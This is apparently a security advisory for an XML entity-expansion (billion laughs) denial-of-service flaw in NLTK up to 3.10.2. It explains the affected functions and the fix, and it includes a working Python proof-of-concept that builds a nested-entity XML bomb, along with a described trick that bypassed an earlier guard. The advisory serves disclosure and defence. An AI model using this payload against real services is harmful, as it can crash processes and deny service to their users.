CVE-2026-78681: NLTK XML Entity Expansion (Billion Laughs) DoS
Several XML parsing sites in NLTK used Python's standard ElementTree directly, letting an attacker feed a tiny crafted document that balloons to megabytes in memory and crashes the process.

The problem
NLTK <= 3.10.2 called xml.etree.ElementTree directly in at least four places: nltk.chunk.named_entity.load_ace_file, nltk.internals.ElementWrapper, and several functions in nltk.downloader (Package.fromxml, Collection.fromxml, _find_collections, _find_packages).
Python's stdlib XML parser honours <!ENTITY> declarations in a document's internal DTD subset and expands them recursively without a hard cap.
A payload of a few hundred bytes can expand to 1 MB or more per parse call. libexpat 2.6+ added an amplification cap, but it only kicks in above roughly 8 MiB of output, so any expansion below that threshold succeeds unconditionally, and builds linked against older libexpat (common on Python 3.10/3.11) have no cap at all.
This is a memory-amplification DoS (CWE-776), not XXE, because external entities are never fetched.
Proof of concept
A working proof-of-concept for CVE-2026-78681 in nltk, with the exact payload below.
import xml.etree.ElementTree as ET
def bomb(levels):
# each level multiplies output by 10; e0 seeds 10 chars
entities = "\n".join(
f'<!ENTITY e{i} "{("&e%d;" % (i-1)) * 10}">'
for i in range(1, levels + 1)
)
return (
f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{entities}]>'
f'<d>&e{levels};</d>'
)
# 5 levels: ~330 bytes in, ~1 000 000 chars out (x3030 amplification)
ET.fromstring(bomb(5))
# Same payload via the vulnerable NLTK entry point
from nltk.internals import ElementWrapper
ElementWrapper(bomb(5)) # raises EntitiesForbidden in 3.10.3+The root cause is CWE-776: Python's xml.etree.ElementTree.fromstring (and parse) passes <!ENTITY> declarations through to libexpat, which resolves each reference recursively. With 10 references per level and 10-character seeds, each additional nesting level multiplies the expanded output by 10, so 5 levels yields 1,000,000 characters from a 330-byte input.
An earlier text-based guard was bypassed by hiding a decoy <!DOCTYPE> in an XML comment prolog (the real declaration still parses). The patch avoids this entirely by re-parsing with a proper event-driven expat pre-scan, so structural tricks in comments or processing instructions cannot fool it.
The fix introduces nltk.xmlsec, a thin module that prefers defusedxml.ElementTree (which raises EntitiesForbidden on any <!ENTITY> declaration by default) and falls back to a xml.parsers.expat pre-scan when defusedxml is absent. All four vulnerable call sites are routed through it.
The fix
Upgrade to NLTK 3.10.3. The patch (commit e91789c9a043296ad04912ce171c22776d45963b) adds nltk/xmlsec.py and rewires all four call sites to use it. Installing defusedxml is strongly recommended as it becomes the primary back end; the stdlib expat fallback covers environments where defusedxml is unavailable.
Reported by LinZiyuu.
Related research
- highCVE-2026-80206CVE-2026-80206: NLTK tgrep Regular Expression Denial of Service
- high · 7.5CVE-2026-62384CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass
- highCVE-2026-79676CVE-2026-79676: NLTK Corpus Readers Symlink Path Traversal (pathsec Bypass)
- highCVE-2026-78682CVE-2026-78682: NLTK pathsec SSRF Protection Bypass via HTTP Proxy